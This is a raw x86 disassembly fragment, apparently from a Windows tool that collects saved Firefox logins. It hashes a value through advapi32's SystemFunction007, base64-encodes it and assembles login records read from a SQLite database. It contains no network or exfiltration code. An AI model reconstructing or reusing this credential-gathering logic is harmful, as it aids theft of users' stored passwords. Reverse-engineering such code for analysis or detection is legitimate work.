jb 0x407480
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40750e
mov edx, dword [esp + 0x2c]
mov eax, edi
mov esi, dword [esp + 0x28]
and eax, 0xfffffffc
nop
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x4074f0
mov esi, dword [esp + 0x30]
cmp ecx, edi
jae 0x407534
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x407520
mov esi, dword [esp + 0x30]
jmp 0x407538
mov edx, dword [esp + 0x28]
xor eax, eax
xorps xmm0, xmm0
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
movlpd qword [esp + 0x158], xmm0
movaps xmmword [esp + 0x190], xmm0
mov dword [esp + 0x154], eax
test edx, edx
je 0x40785b
mov edx, dword [0x4db45c]
xor edi, edi
test edx, edx
jne 0x4075d8
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x4075a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_load_ad_lib:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov eax, edi
jmp 0x40772b
push str.SystemFunction007
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
mov dword [0x4db45c], edx
test edx, edx
jne 0x4075d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_h_function:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x20]
add esp, 0xc
jmp 0x4076fd
mov eax, dword [esp + 0x28]
mov ecx, eax
mov dword [esp + 0x15c], eax
lea eax, [ecx + 2]
mov dword [esp + 0x38], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4075f0
sub ecx, dword [esp + 0x38]
sar ecx, 1
lea eax, [ecx + ecx]
mov word [esp + 0x158], ax
add eax, 2
mov word [esp + 0x15a], ax
lea eax, [esp + 0x190]
push eax
lea eax, [esp + 0x15c]
push eax
call edx
test eax, eax
jns 0x407648
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_hash:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x4076f5
lea eax, [esp + 0x154]
push eax
push 0
push 1
push 0x10
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov eax, dword [esp + 0x154]
test eax, eax
jne 0x407687
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_size_of_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x4076f5
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edi, eax
test edi, edi
jne 0x4076b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_allocate_memory_for_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x4076f5
lea eax, [esp + 0x154]
push eax
push edi
push 1
push 0x10
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
jne 0x4076ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_convert_to_base64:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x4076f5
mov dword [esp + 0x24], 1
mov eax, dword [esp + 0x14]
test eax, eax
je 0x407704
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x24]
mov ecx, edi
mov edx, eax
mov dword [esp + 0x14], edx
test eax, eax
jne 0x40772b
test ecx, ecx
je 0x40772b
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
xor edi, edi
mov eax, dword [esp + 0x14]
mov dword [esp + 0x38], edi
test eax, eax
je 0x40786a
push dword [esp + 0x5c]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x164]
push dword [esp + 0x64]
mov dword [esp + 0x40], edi
push dword [esp + 0x4c]
push dword [esp + 0x4c]
push edi
push dword [esp + 0x48]
push dword [esp + 0x34]
push str.Firefox
call fcn.00408ef0
add esp, 0x20
test eax, eax
je 0x40784f
cmp dword [esp + 0x4c], 0
jne 0x40779a
push str.NULL_List
push 1
call fcn.00408d60
add esp, 8
mov dword [esp + 0x38], edi
push str.Cannot_add_new_login
push 1
jmp 0x406707
push 0xc
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4077c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_creating_a_new_list_entry:0x_X
jmp 0x407841
push 0x24
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [esp + 0x18]
mov edx, eax
inc dword [0x4de7b4]
mov dword [ecx], edx
test edx, edx
je 0x407835
movups xmm0, xmmword [esp + 0x160]
mov eax, dword [esp + 0x180]
movups xmmword [edx], xmm0
movups xmm0, xmmword [esp + 0x170]
movups xmmword [edx + 0x10], xmm0
mov dword [edx + 0x20], eax
mov edx, dword [esp + 0x4c]
cmp dword [edx + 4], 0
jne 0x40781b
inc dword [edx]
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [esp + 0x38], edi
jmp 0x406710
mov eax, dword [edx + 8]
mov dword [ecx + 4], eax
mov eax, dword [edx + 8]
mov dword [esp + 0x38], edi
mov dword [eax + 8], ecx
inc dword [edx]
mov dword [edx + 8], ecx
jmp 0x406710
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_copying_list_value:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov dword [esp + 0x38], edi
push str.Cannot_add_new_login
push 1
jmp 0x406707
push str.NULL_parameters
push 1
call fcn.00408d60
add esp, 8
push str.Cannot_get_ph
jmp 0x406705
push str.Error_retrieving_login_info
jmp 0x406705
push str.API_called_with_NULL_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
push 0x4d6ad4
push 0x12f19
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x14
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x4078c4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
dec dword [0x4de7b4]
jmp 0x4078ca
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x34]
test eax, eax
je 0x4078db
push eax
call edi
dec dword [0x4de7b4]
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x4078ec
push eax
call edi
dec dword [0x4de7b4]
mov edi, dword [esp + 0x28]
test edi, edi
je 0x40792d
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407900
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x407920
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407915
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov edi, dword [esp + 0x38]
test edi, edi
je 0x40796d
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407940
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x407960
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407955
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov edi, dword [esp + 0x2c]
test edi, edi
je 0x4079a8
mov ecx, edi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407980
mov eax, edi
sub ecx, edx
je 0x40799b
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407990
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
test esi, esi
je 0x407a59
mov edi, dword [esi]
test edi, edi
jne 0x4079e2
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
push 0x4d6ad4
push 0x12cd5
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x1c
jmp 0x407a59
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4079f3
push eax
call dword [0x4d9af4]
add esp, 4
cmp dword [esi + 0x84], 0
jl 0x407a10
jg 0x407a07
cmp dword [esi + 0x80], 0
jbe 0x407a10
mov edx, esi
mov ecx, edi
call fcn.00439de0
mov eax, dword [esi + 0x14]
mov dword [esp + 0x4c], 0
cmp eax, 0x2df20da3
je 0x407a29
cmp eax, 0x319c2973
jne 0x407a34
mov ecx, esi
call fcn.00437690
mov dword [esp + 0x4c], eax
mov ecx, esi
call fcn.00437c60
cmp byte [edi + 0x49], 0
jne 0x407a4b
cmp dword [esp + 0x4c], 0xc0a
jne 0x407a52
mov ecx, edi
call fcn.004108e0
mov ecx, edi
call fcn.004a7f80
mov eax, dword [esp + 0x48]
test eax, eax
je 0x407a6a
xor edx, edx
mov ecx, eax
call fcn.004a7e20
push str.Getting_logins_from_database___
push 3
call fcn.00408d60
add esp, 8
mov ecx, dword [esp + 0x1ac]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret